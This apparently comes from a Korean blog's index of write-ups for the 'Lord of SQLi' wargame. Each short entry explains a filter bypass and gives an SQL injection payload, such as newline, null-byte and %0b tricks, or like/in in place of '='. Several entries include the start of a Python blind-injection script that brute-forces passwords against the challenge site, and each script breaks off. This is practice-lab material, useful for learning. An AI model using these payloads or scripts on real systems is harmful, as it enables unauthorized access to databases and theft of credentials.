Write Up/Load Of SQLi

서론 NULL 진행과정 %0a를 통한 줄바꿈을 해야된다. 줄바꿈 키워드는 %0a id에서 필터링이 들어가기 때문에(#처리)pw=%0aand pw=1 or id='admin # REF NULL

서론 NULL 진행과정 16진수를 이용해서 Blind SQLi를 코딩하라. '가 필터가 안되어 있으므로 페이로드는 쉽다.?pw='||id='admin'%231234567891011121314151617import httplib conn = httplib.HTTPConnection("los.eagle-jump.org")Header = {"Cookie":"PHPSESSID=j91p2m9f3ocbt34c23dhno72i0"} url = "/xavis_fd4389515d6540477114ec3c79623afe.php?pw=" for i in range(1, 11) : for j in range(160, 256) : payload = "'||id='admin' and mid(pw, {0}, 1)={1}%23".f..

서론 NULL 진행과정 SQL에서 문자열은 0을 의미한다. 세미콜론 뒤 NULL(%00)을 넣어주면 주석처리가 된다. (단, 전제조건은 magic_quotes_gpc =off)?pw=%27)=0;%00 # REF NULL

서론 NULL 진행과정 \' = '라는걸 이용 escape sequence를 이용하는 방법이다.?id=admin\&pw=||1=1%23 # REF NULL

서론 NULL 진행과정 %00을 이용해 해결.?id=admin&pw=%00' ||1='1 # REF NULL

서론 NULL 진행과정 %를 이용한 SQL에서의 정규표현식을 이용하면 풀 수 있다.?pw=832% # REF NULL

서론 NULL 진행과정 shit인자를 받는데, shit 인자의 길이는 1이하여야만 한다. 공백문자로 처리가능 %0a, %00 등은 필터링 되지만 %0b는 가능?shit=%0b # REF NULL

서론 NULL 진행과정 like를 막았지만 in이 남아잇다. 문법 : 인자 in ("값")?no=1%0a||id%0ain%0a("admin")1234567891011121314151617import urllib, httplib conn = httplib.HTTPConnection("los.eagle-jump.org")url = "/bugbear_431917ddc1dec75b4d65a23bd39689f8.php?no=1"Headers = {"Cookie":"PHPSESSID=shkfbb2civ1bvup6htng6k9ln4"}PW = "" for i in range(1, 9) : for j in range(48, 128) : payload ='%0a||id%0ain%0a("admin")%0a%26%26%0a..

서론 NULL 진행과정 싱글 쿼터가 필터링 되어있지만, 더블쿼터는 이용가능하다.?no=0 || id like "admin" 123456789101112131415import urllib, httplibconn = httplib.HTTPConnection("los.eagle-jump.org")url = "/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?no=0"Headers = {"Cookie":"PHPSESSID=shkfbb2civ1bvup6htng6k9ln4"}PW = ""for i in range(1, 9) : for j in range(48, 123) : payload =' || id like "admin" %26%26 hex(mid(pw, '+str(i)+"..

서론 NULL 진행과정 =과 논리연산 들을 못쓰게 막혀있다. =대신 like를 이용하면 된다.'||id like 'admin1234567891011121314151617import urllib, httplib conn = httplib.HTTPConnection("los.eagle-jump.org")url = "/golem_39f3348098ccda1e71a4650f40caa037.php?pw="Headers = {"Cookie":"PHPSESSID=shkfbb2civ1bvup6htng6k9ln4"}PW = "" for i in range(1, 9) : for j in range(48, 123) : payload ="'||id like 'admin' %26%26 mid(pw, "+str(i)+", 1) ..

서론 NULL 진행과정 and 1=0때문에 항상 거짓이 된다. 이 부분을 주석처리하면 가볍게 해결가능.pw='or id='admin'%23 # REF NULL

서론 NULL 진행과정 admin이 필터링되면 admin이 되게끔 만들면 된다.?id=aadmindmin # REF NULL